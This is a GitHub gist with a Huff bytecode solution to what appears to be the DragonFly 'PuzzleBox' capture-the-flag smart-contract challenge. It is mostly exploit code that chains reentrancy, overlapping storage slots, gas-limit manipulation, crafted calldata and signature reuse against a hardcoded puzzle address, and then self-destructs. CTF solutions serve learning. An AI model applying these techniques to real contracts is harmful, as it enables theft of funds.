Skip to content

Instantly share code, notes, and snippets.

@eugenioclrc
Last active May 14, 2023 11:00
Show Gist options
  • Save eugenioclrc/c73fdd932b298feeef785b7c7206f0d1 to your computer and use it in GitHub Desktop.
Save eugenioclrc/c73fdd932b298feeef785b7c7206f0d1 to your computer and use it in GitHub Desktop.
/*
SOLUTION
contract PuzzleBoxSolution {
function solve(PuzzleBox puzzle) external payable {
bytes memory code = hex"602060....THE BYTECODE OUTPUT, huffc DragonFlyCTFsolution.huff -b";
address payable addr;
assembly {
addr := create2(0, add(code, 0x20), mload(code), 0)
}
addr.call{gas: 1900000}("");
}
}
*/
// foundry
// 0x037eDa3aDB1198021A9b2e88C22B464fD38db3f3
// web
// 0x69209d8a7d258515ec9a4d25f7be1db85cb1b826
#define constant PUZZLE_ADDRESS = 0x69209d8a7d258515ec9a4d25f7be1db85cb1b826
#define macro CALL(
ret_size,
ret_offset,
arg_size,
arg_offset,
value,
to,
maxgas
) = takes (0) returns (1) {
<ret_size> // [retSize]
<ret_offset> // [retOffset, retSize]
<arg_size> // [argSize, retOffset, retSize]
<arg_offset> // [argOffset, argSize, retOffset, retSize]
<value> // [value, argOffset, argSize, retOffset, retSize]
<to> // [to, value, argOffset, argSize, retOffset, retSize]
<maxgas> // [gas, to, value, argOffset, argSize, retOffset, retSize]
call // [success]
}
#define macro CONSTRUCTOR() = takes (0) returns (0) {
// aca?
0x20 // [size] - byte size to copy \n"
0x40 codesize sub // [offset, size] - offset in the code to copy from\n "
returndatasize // [mem, offset, size] - offset in memory to copy to \n"
codecopy // [] \n"
// Step 1: Call operate from a constructor.
__FUNC_SIG("operate()") 0xE0 shl
returndatasize mstore
returndatasize
[PUZZLE_ADDRESS]
CALL(returndatasize, returndatasize, 0x04, returndatasize, returndatasize, dup6, gas) // [success, 0xba5ed]
// Step 2: Exploit overlapping storage slots to call lock() because owner <=> operator.
0xdeecedd4925facb1 0xc0 shl returndatasize mstore
CALL(returndatasize, returndatasize, 0x44, returndatasize, returndatasize, dup7, gas) // [success, 0xba5ed]
}
#define macro MAIN() = takes (0) returns (0) {
0x0190 selfbalance lt stopAll jumpi
// Step 3: Start fallback reentrancy exploit to mint 10 drips.
__FUNC_SIG("drip()") 0xE0 shl
returndatasize mstore
[PUZZLE_ADDRESS]
CALL(returndatasize, returndatasize, 0x04, returndatasize, 0x65, dup6, gas) // [success, 0xba5ed]
0x15eb73 gas gt destructJump jumpi
stop
destructJump:
// puzzle.leak();
swap1
// Step 4: Warm up state to decrease zip() gas cost.
__FUNC_SIG("leak()") 0xE0 shl callvalue mstore
CALL(callvalue, callvalue, 0x04, callvalue, callvalue, dup6, gas) // [success, 0xba5ed]
pop
// send 1 wei to warmup
0x02 dup2 add
CALL(callvalue, callvalue, callvalue, callvalue, dup7, dup6, callvalue) // [success, 0xba5ed]
pop
// run puzzle.zip();
__FUNC_SIG("zip()") 0xE0 shl
callvalue mstore
CALL(callvalue, callvalue, 0x04, callvalue, callvalue, dup7, gas) // [success, 0xba5ed]
pop
// Step 5: Call creep with a low enough gas limit to cause deeper calls to fail.
// puzzle.creep{gas: 98e3}();
__FUNC_SIG("creep()") 0xE0 shl
callvalue mstore
CALL(callvalue, callvalue, 0x04, callvalue, callvalue, dup7, 0x017ed0) // [success, 0xba5ed]
// address(puzzle).call(hex"925facb100000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000700000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000009");
// torch
0x925facb1 0xE0 shl
callvalue mstore
dup1 0x04 mstore
0x20 0x25 mstore
0x06 dup1 0x45 mstore 0x65 mstore
0x04 0x85 mstore
0x02 0xa5 mstore
0x07 0xc5 mstore
0x08 0xe5 mstore
0x09 0x105 mstore
CALL(callvalue, callvalue, 0x0125, callvalue, callvalue, dup8, gas) // [success, 0xba5ed]
// address(puzzle).call(hex"2b071e47000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000001000000000000000000000000416e59dacfdb5d457304115bbfb9089531d873b70000000000000000000000000000000000000000000000000000000000000003000000000000000000000000c817dd2a5daa8f790677e399170c92aabd044b570000000000000000000000000000000000000000000000000000000000000096000000000000000000000000000000000000000000000000000000000000004b");
0x2b071e47 0xE0 shl returndatasize mstore
0x40 0x04 mstore
0x80 0x24 mstore
dup1 0x44 mstore
0x416e59dacfdb5d457304115bbfb9089531d873b7 0x64 mstore
0x03 0x84 mstore
0xc817dd2a5daa8f790677e399170c92aabd044b57 0xa4 mstore
0x96 0xc4 mstore
0x4b 0xe4 mstore
CALL(callvalue, callvalue, 0x0104, callvalue, callvalue, dup9, gas)
// puzzle.leak();
__FUNC_SIG("leak()") 0xE0 shl
callvalue mstore
// __FUNC_SIG("open(uint256,bytes)") 0xE0 shl
0x58657dcf 0xE0 shl
callvalue mstore
0xc8f549a7e4cb7e1c60d908cc05ceff53ad731e6ea0736edf7ffeea588dfb42d8
dup1
0x04 mstore
0x64 mstore
0x40 0x24 mstore
0x41 0x44 mstore
0x9da3468f3d897010503caed5c52689b959fbac09ff6879275a8279feffcc8a62 0x84 mstore
0x1b 0xF8 shl 0xa4 mstore
CALL(callvalue, callvalue, 0xe0, callvalue, callvalue, dup10, gas) // [success, 0xba5ed]
caller selfdestruct
stopAll:
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment